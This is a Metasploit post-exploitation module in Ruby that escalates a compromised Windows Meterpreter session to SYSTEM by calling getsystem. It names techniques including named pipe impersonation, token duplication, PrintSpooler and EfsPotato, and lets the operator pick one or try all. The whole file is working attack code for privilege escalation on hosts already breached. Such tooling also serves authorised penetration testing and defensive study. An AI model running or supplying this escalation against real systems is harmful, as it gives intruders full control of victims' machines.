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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'metasm'
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class MetasploitModule < Msf::Post
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  include Msf::Post::Windows::Priv
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Windows Escalation',
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        'Description' => %q{
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          This module uses the `getsystem` command to escalate the current session to the SYSTEM account using various
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          techniques.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => 'hdm',
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        'Platform' => [ 'win' ],
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        'SessionTypes' => [ 'meterpreter' ],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              priv_elevate_getsystem
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            ]
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          }
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        },
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        'Notes' => {
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          'AKA' => [
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            'Named Pipe Impersonation',
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            'Token Duplication',
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            'RPCSS',
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            'PrintSpooler',
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            'EFSRPC',
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            'EfsPotato'
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          ]
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        }
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      )
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    )
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    register_options([
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      OptInt.new('TECHNIQUE', [false, 'Specify a particular technique to use (1-6), otherwise try them all', 0])
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    ])
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  end
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  def unsupported
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    print_error('This platform is not supported with this script!')
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    raise Rex::Script::Completed
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  end
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  def run
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    technique = datastore['TECHNIQUE'].to_i
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    unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86)
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    if is_system?
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      print_good('This session already has SYSTEM privileges')
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      return
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    end
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    begin
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      result = client.priv.getsystem(technique)
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      print_good("Obtained SYSTEM via technique #{result[1]}")
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    rescue Rex::Post::Meterpreter::RequestError => e
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      print_error('Failed to obtain SYSTEM access')
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    end
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  end
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end
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